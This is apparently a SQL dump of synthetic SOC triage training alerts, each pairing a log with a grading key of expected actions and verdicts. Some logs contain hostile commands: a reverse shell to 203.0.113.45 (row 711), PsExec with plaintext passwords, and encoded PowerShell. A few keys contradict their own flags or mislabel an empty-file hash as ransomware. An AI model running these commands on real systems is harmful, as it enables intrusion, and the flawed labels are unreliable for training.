(695, 'LockBit Ransomware Detected via Cobalt Strike Beacon', 'critical', 'CrowdStrike', 'A Cobalt Strike beacon was detected communicating with a known LockBit ransomware command and control server. The affected machine is showing signs of ransomware infection.', 'Malware', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T03:45:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"10.0.15.23\",\"dst_ip\":\"185.199.110.153\",\"username\":\"jdoe\",\"hostname\":\"CORP-WKSTN-45\",\"command_line\":\"powershell.exe -nop -w hidden -enc aW5mbw==\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\"}', '2026-01-10 03:14:01', '2026-01-11 15:04:04', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.199.110.153\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"IP reported 1203 times for C2 activity\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.15.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of compromised host\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"powershell.exe -nop -w hidden -enc aW5mbw==\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Encoded PowerShell command indicating potential malicious activity\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"File hash associated with LockBit ransomware\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The presence of a Cobalt Strike beacon and known ransomware file hash confirms the infection.\"}', 'Intermediate', 'EDR', 5, 1, 'OT_ICS'),
(696, 'Suspicious RDP Login Attempts Detected', 'high', 'Wazuh', 'Multiple failed RDP login attempts detected from an external IP address. The attempts indicate a potential brute force attack.', 'Brute Force', 'T1110', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T10:15:45Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"192.168.1.10\",\"username\":\"admin\",\"hostname\":\"RDP-SERVER\",\"failed_attempts\":37}', '2026-01-09 18:53:30', '2026-01-11 15:04:04', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for brute force attacks\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of target server\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The high number of failed login attempts from a foreign IP suggests a brute force attack.\"}', 'Intermediate', 'SIEM', 5, 1, 'OT_ICS'),
(697, 'ALPHV Ransomware Reconnaissance Activity Detected', 'medium', 'Splunk', 'Suspicious use of PsExec detected, indicating potential lateral movement associated with ALPHV ransomware.', 'Lateral Movement', 'T1077', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T02:30:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.12\",\"dst_ip\":\"10.0.0.23\",\"username\":\"svc_admin\",\"hostname\":\"CORP-SERVER-01\",\"command_line\":\"psexec.exe \\\\\\\\10.0.0.23 -u admin -p password123 cmd.exe\"}', '2026-01-11 13:49:48', '2026-01-11 15:04:04', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.12\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Source IP involved in lateral movement\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.23\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Destination IP involved in lateral movement\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"psexec.exe \\\\\\\\10.0.0.23 -u admin -p password123 cmd.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"PsExec usage for lateral movement\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"PsExec is commonly used for lateral movement, especially in ransomware operations.\"}', 'Intermediate', 'EDR', 5, 1, 'OT_ICS'),
(698, 'False Positive: Legitimate User Activity Mistaken for Command Injection', 'low', 'IDS', 'An alert was triggered for a suspected command injection, but the activity was identified as a legitimate administrative task.', 'Web Attack', 'T1190', 0, 'New', NULL, '{\"timestamp\":\"2026-01-11T05:00:00Z\",\"event_type\":\"web_request\",\"src_ip\":\"192.168.2.15\",\"dst_ip\":\"192.168.2.20\",\"username\":\"admin\",\"hostname\":\"WEB-SERVER\",\"request_body\":\"ping -c 4 8.8.8.8 && echo test\",\"url\":\"http://192.168.2.20/admin/execute\"}', '2026-01-10 23:39:43', '2026-01-11 15:04:04', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.2.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Source IP of internal admin machine\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.2.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Web server internal IP\"}},{\"id\":\"artifact_3\",\"type\":\"payload\",\"value\":\"ping -c 4 8.8.8.8 && echo test\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Legitimate administrative command executed\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"web_attack\",\"analysis_notes\":\"Upon review, the command was identified as a routine administrative task, not malicious.\"}', 'Intermediate', 'EDR', 5, 1, 'OT_ICS'),
(699, 'Suspicious PowerShell Execution with Encoded Commands', 'high', 'CrowdStrike', 'A PowerShell process was detected executing with encoded commands on an internal host. This is frequently used in obfuscation techniques by attackers.', 'Malware', 'T1059.001', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T15:42:56Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.1.20\",\"dst_ip\":\"\",\"username\":\"jdoe\",\"hostname\":\"DESKTOP-1A2B3C\",\"command_line\":\"powershell.exe -enc W3Bhd2Vyc2hlbGwuZXhlIC1jb21tYW5kIC1lbmMgU29tZUVuY29kZWRDb21tYW5k\",\"file_hash\":\"3b7b3c2a5c6a4f7b8b8b3a2c3b7c6a4f\"}', '2026-01-10 01:55:09', '2026-01-11 15:04:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"powershell.exe -enc W3Bhd2Vyc2hlbGwuZXhlIC1jb21tYW5kIC1lbmMgU29tZUVuY29kZWRDb21tYW5k\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Encoded PowerShell commands are often used in malicious scripts.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"3b7b3c2a5c6a4f7b8b8b3a2c3b7c6a4f\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"suspicious\",\"details\":\"This hash is associated with potentially unwanted software.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"10.0.1.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"This is an internal IP address.\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\",\"block_hash\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"Encoded PowerShell commands indicate potential malware execution.\"}', 'Advanced', 'EDR', 7, 1, 'TECH'),
(700, 'Unauthorized Access Attempt via RDP', 'critical', 'Splunk', 'Multiple failed RDP login attempts detected from an external IP address, suggesting a possible brute force attack.', 'Credential Attack', 'T1110', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T13:22:10Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"192.168.1.10\",\"username\":\"admin\",\"hostname\":\"RDP-SERVER\",\"failed_attempts\":25}', '2026-01-10 08:37:56', '2026-01-11 15:04:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for brute force attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"This is an internal IP address.\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"High number of failed login attempts from a known malicious IP indicates a brute force attack.\"}', 'Advanced', 'SIEM', 7, 1, 'OT_ICS'),
(701, 'Suspicious Network Activity Detected', 'medium', 'Firewall', 'A large volume of data was transferred from an internal server to an unknown external IP, potentially indicating data exfiltration.', 'Data Exfiltration', 'T1041', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T16:30:45Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.25\",\"dst_ip\":\"198.51.100.75\",\"bytes_transferred\":10485760,\"hostname\":\"FILE-SERVER\"}', '2026-01-11 09:55:46', '2026-01-11 15:04:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.75\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"IP associated with previous data exfiltration activities.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"This is an internal IP address.\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"Unusual data transfer patterns suggest possible data exfiltration to a known malicious IP.\"}', 'Advanced', 'NDR', 7, 1, 'OT_ICS'),
(702, 'False Positive: Legitimate Script Execution Detected', 'low', 'Wazuh', 'A legitimate administrative script was detected using mshta.exe, which can sometimes be misidentified as malicious.', 'Lateral Movement', 'T1218.005', 0, 'New', NULL, '{\"timestamp\":\"2026-01-11T12:45:30Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.2.15\",\"dst_ip\":\"\",\"username\":\"admin_user\",\"hostname\":\"ADMIN-SERVER\",\"command_line\":\"mshta.exe http://internal.domain.com/admin_script.hta\"}', '2026-01-10 21:43:29', '2026-01-11 15:04:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"mshta.exe http://internal.domain.com/admin_script.hta\",\"is_critical\":false,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"clean\",\"details\":\"URL is a trusted internal domain for administrative purposes.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.2.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"This is an internal IP address.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The script execution was legitimate, originating from a trusted internal source.\"}', 'Advanced', 'EDR', 7, 1, 'OT_ICS'),
(703, 'LockBit 3.0 Ransomware Detected via Cobalt Strike Beacon', 'critical', 'CrowdStrike', 'A Cobalt Strike beacon associated with LockBit 3.0 ransomware campaign was detected communicating with a known malicious IP. The beacon exhibited process hollowing tactics.', 'Malware', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T03:22:45Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.5\",\"dst_ip\":\"176.32.98.45\",\"username\":\"jdoe\",\"hostname\":\"FINANCE-WS01\",\"command_line\":\"C:\\\\Windows\\\\System32\\\\rundll32.exe C:\\\\Users\\\\jdoe\\\\AppData\\\\Roaming\\\\temp.dll,EntryPoint\",\"file_hash\":\"3f8f6c41a65f4b5e3d2e0e5d4b2c6a0f\",\"domain\":\"malicious-domain.com\"}', '2026-01-10 14:55:24', '2026-01-11 15:05:01', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"176.32.98.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 1003 times for C2 activity\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"3f8f6c41a65f4b5e3d2e0e5d4b2c6a0f\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Detected as LockBit 3.0 ransomware payload\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of affected host\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The presence of a known malicious hash and IP, along with Cobalt Strike beacon activity, confirms the attack.\"}', 'Expert', 'EDR', 9, 1, 'OT_ICS'),
(704, 'Suspicious Network Traffic to Fast-Flux DNS Domain', 'high', 'Firewall', 'Network traffic to a domain exhibiting fast-flux characteristics was detected. The domain is known to be associated with the BlackCat/ALPHV ransomware group.', 'Command and Control', 'T1071', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T08:15:30Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.100\",\"dst_ip\":\"203.0.113.120\",\"domain\":\"fluxy-malicious.com\"}', '2026-01-10 21:54:13', '2026-01-11 15:05:01', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"domain\",\"value\":\"fluxy-malicious.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"Domain associated with fast-flux and BlackCat C2 operations\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the affected client\"}}],\"expected_actions\":[\"block_ip\",\"block_domain\",\"isolate_host\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"command_and_control\",\"analysis_notes\":\"The fast-flux domain and known association with ransomware C2 activity confirm the threat.\"}', 'Expert', 'NDR', 9, 1, 'OT_ICS'),
(705, 'False Positive: Suspected Phishing from Internal Domain', 'medium', 'Proofpoint', 'An email flagged as phishing due to a similar domain name was found to be sent from a legitimate internal source. The email appeared suspicious due to its subject line and formatting.', 'Phishing', 'T1566', 0, 'New', NULL, '{\"timestamp\":\"2026-01-11T09:45:12Z\",\"event_type\":\"email_received\",\"src_ip\":\"192.168.2.15\",\"dst_ip\":\"192.168.2.100\",\"email_sender\":\"alerts@internal-domain.com\",\"subject\":\"Urgent: Update Your Password Immediately\",\"url\":\"https://internal-domain.com/security-update\"}', '2026-01-10 05:58:44', '2026-01-11 15:05:01', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"alerts@internal-domain.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Legitimate email from internal domain\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"https://internal-domain.com/security-update\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Verified internal URL\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The email originated from a legitimate internal source and was incorrectly flagged due to its subject and formatting.\"}', 'Expert', 'SIEM', 9, 1, 'OT_ICS'),
(706, 'APT Lateral Movement via PsExec Detected', 'high', 'Wazuh', 'An APT actor was detected using PsExec for lateral movement within the network, targeting several internal hosts over SMB.', 'Lateral Movement', 'T1077', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T06:30:50Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.20\",\"dst_ip\":\"10.0.0.25\",\"username\":\"admin_user\",\"hostname\":\"CORP-SERVER01\",\"command_line\":\"C:\\\\tools\\\\PsExec.exe \\\\\\\\10.0.0.25 -u admin_user -p password cmd\"}', '2026-01-11 08:30:21', '2026-01-11 15:05:01', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Source IP address of the initiating host\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Target IP address of the lateral movement\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"C:\\\\tools\\\\PsExec.exe \\\\\\\\10.0.0.25 -u admin_user -p password cmd\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"suspicious\",\"details\":\"PsExec usage detected, often used for lateral movement\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"Use of PsExec for lateral movement is a known tactic of APT groups, confirming the suspicious activity.\"}', 'Expert', 'EDR', 9, 1, 'OT_ICS'),
(707, 'Brute Force Login Attempt Detected', 'high', 'Splunk', 'Multiple failed login attempts detected from a known malicious IP address. The source is from a foreign location.', 'Credential Attack', 'T1110', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T08:45:30Z\",\"event_type\":\"login_failure\",\"src_ip\":\"198.51.100.23\",\"dst_ip\":\"192.168.1.10\",\"username\":\"admin\",\"hostname\":\"corp-server-01\",\"failed_attempts\":35}', '2026-01-09 17:39:12', '2026-01-11 15:06:27', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for brute force attacks\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Database\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Database\",\"verdict\":\"internal\",\"details\":\"Valid internal username\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The number of failed attempts and the source IP\'s malicious history confirm this as a brute force attack.\"}', 'Novice', 'SIEM', 1, 1, 'TECH'),
(708, 'Malware Detected on Endpoint', 'critical', 'CrowdStrike', 'A known malware signature was detected on an endpoint. The malware has a high detection rate on VirusTotal.', 'Malware', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T09:30:15Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.20\",\"hostname\":\"workstation-02\",\"command_line\":\"C:\\\\malicious\\\\malware.exe\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\"}', '2026-01-10 06:01:10', '2026-01-11 15:06:27', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Detected by 60/70 AV engines\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"C:\\\\malicious\\\\malware.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"CrowdStrike\",\"verdict\":\"malicious\",\"details\":\"Confirmed execution of known malware\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.1.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Database\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}}],\"expected_actions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The hash is widely recognized as malicious, indicating a confirmed malware infection.\"}', 'Novice', 'EDR', 1, 1, 'OT_ICS'),
(709, 'Phishing Email with Malicious Link Detected', 'medium', 'Proofpoint', 'A phishing email was detected with a link leading to a known malicious site.', 'Phishing', 'T1566', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T10:20:45Z\",\"event_type\":\"email_received\",\"src_ip\":\"203.0.113.85\",\"email_sender\":\"phisher@malicious.com\",\"url\":\"http://malicious-site.com/fake-login\",\"username\":\"jdoe\",\"hostname\":\"user-laptop-03\"}', '2026-01-10 16:11:58', '2026-01-11 15:06:27', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"phisher@malicious.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Proofpoint\",\"verdict\":\"malicious\",\"details\":\"Known phishing campaign sender\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://malicious-site.com/fake-login\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"Site hosting phishing login page\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.85\",\"is_critical\":false,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP linked to multiple phishing sites\"}}],\"expected_actions\":[\"block_url\",\"close_alert\",\"user_education\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The email contains a link to a known phishing site, confirming the phishing attempt.\"}', 'Novice', 'SIEM', 1, 1, 'OT_ICS'),
(710, 'Suspicious Network Activity Detected', 'low', 'Firewall', 'An unusual spike in outbound traffic was detected from an internal server, but no malicious activity was confirmed.', 'Data Exfiltration', 'T1041', 0, 'New', NULL, '{\"timestamp\":\"2026-01-11T11:15:50Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.15\",\"dst_ip\":\"203.0.113.200\",\"hostname\":\"internal-server-01\",\"bytes_sent\":5000000}', '2026-01-09 23:38:05', '2026-01-11 15:06:27', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Database\",\"verdict\":\"internal\",\"details\":\"Internal server IP address\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.200\",\"is_critical\":false,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP observed in benign traffic, no confirmed malicious reports\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"Traffic was determined to be a legitimate data transfer after further analysis.\"}', 'Novice', 'NDR', 1, 1, 'TECH'),
(711, 'APT41 Command Injection Detected', 'high', 'Wazuh', 'A command injection attempt was identified on a web server. The attacker executed a shell command which could allow them to gain unauthorized access to the system.', 'Web Attack', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T08:45:32Z\",\"event_type\":\"process_execution\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"10.0.0.15\",\"username\":\"webadmin\",\"hostname\":\"web-server-01\",\"command_line\":\"curl http://malicious-site.com; bash -i >& /dev/tcp/203.0.113.45/4444 0>&1\"}', '2026-01-09 18:42:52', '2026-01-11 15:06:47', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for brute force attacks\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"curl http://malicious-site.com; bash -i >& /dev/tcp/203.0.113.45/4444 0>&1\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Command injection detected\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"web_attack\",\"analysis_notes\":\"The presence of a command injection attempt with a known malicious IP confirms the alert as true positive.\"}', 'Beginner', 'EDR', 3, 1, 'OT_ICS'),
(712, 'Spear-Phishing Attempt by APT29', 'medium', 'Proofpoint', 'A spear-phishing email was detected targeting the finance department. It included a link to a credential harvesting site.', 'Phishing', 'T1566', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T10:15:47Z\",\"event_type\":\"email_received\",\"src_ip\":\"198.51.100.22\",\"username\":\"j.doe@company.com\",\"hostname\":\"mail-server-01\",\"email_sender\":\"finance@trusted-source.com\",\"url\":\"http://malicious-link.com/login\"}', '2026-01-10 20:11:25', '2026-01-11 15:06:47', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"finance@trusted-source.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"EmailRep\",\"verdict\":\"suspicious\",\"details\":\"Domain used in multiple phishing campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://malicious-link.com/login\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL classified as phishing site\"}}],\"expected_actions\":[\"block_url\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The phishing URL and suspicious sender email confirm the phishing attempt, marking it as true positive.\"}', 'Beginner', 'SIEM', 3, 1, 'GOVERNMENT'),
(713, 'Failed Login Attempts from Unusual Location', 'low', 'Splunk', 'Multiple failed login attempts detected for user \'admin\' from a foreign IP address indicating potential brute force attack.', 'Credential Attack', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-01-11T14:22:59Z\",\"event_type\":\"login_failure\",\"src_ip\":\"212.47.229.1\",\"dst_ip\":\"192.168.1.10\",\"username\":\"admin\",\"hostname\":\"auth-server-01\",\"failed_attempts\":15}', '2026-01-09 22:20:35', '2026-01-11 15:06:47', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"212.47.229.1\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP involved in multiple unauthorized access attempts\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Standard admin account for internal systems\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The failed login attempts from a suspicious IP suggest a brute force attack, making it a true positive.\"}', 'Beginner', 'SIEM', 3, 1, 'OT_ICS'),
(714, 'Suspicious Network Activity Detected (False Positive)', 'medium', 'Firewall', 'Unusual network traffic was detected from an internal IP to an external cloud service. Further investigation reveals this as legitimate user activity.', 'Network Anomaly', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-01-11T16:30:12Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.20\",\"dst_ip\":\"52.34.67.89\",\"username\":\"m.smith\",\"hostname\":\"user-pc-02\",\"domain\":\"cloud-storage.com\"}', '2026-01-10 13:30:15', '2026-01-11 15:06:47', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_2\",\"type\":\"domain\",\"value\":\"cloud-storage.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"clean\",\"details\":\"Legitimate cloud storage service\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"network_activity\",\"analysis_notes\":\"The traffic was confirmed to be legitimate access to a known cloud service by an authorized user, hence a false positive.\"}', 'Beginner', 'NDR', 3, 1, 'OT_ICS'),
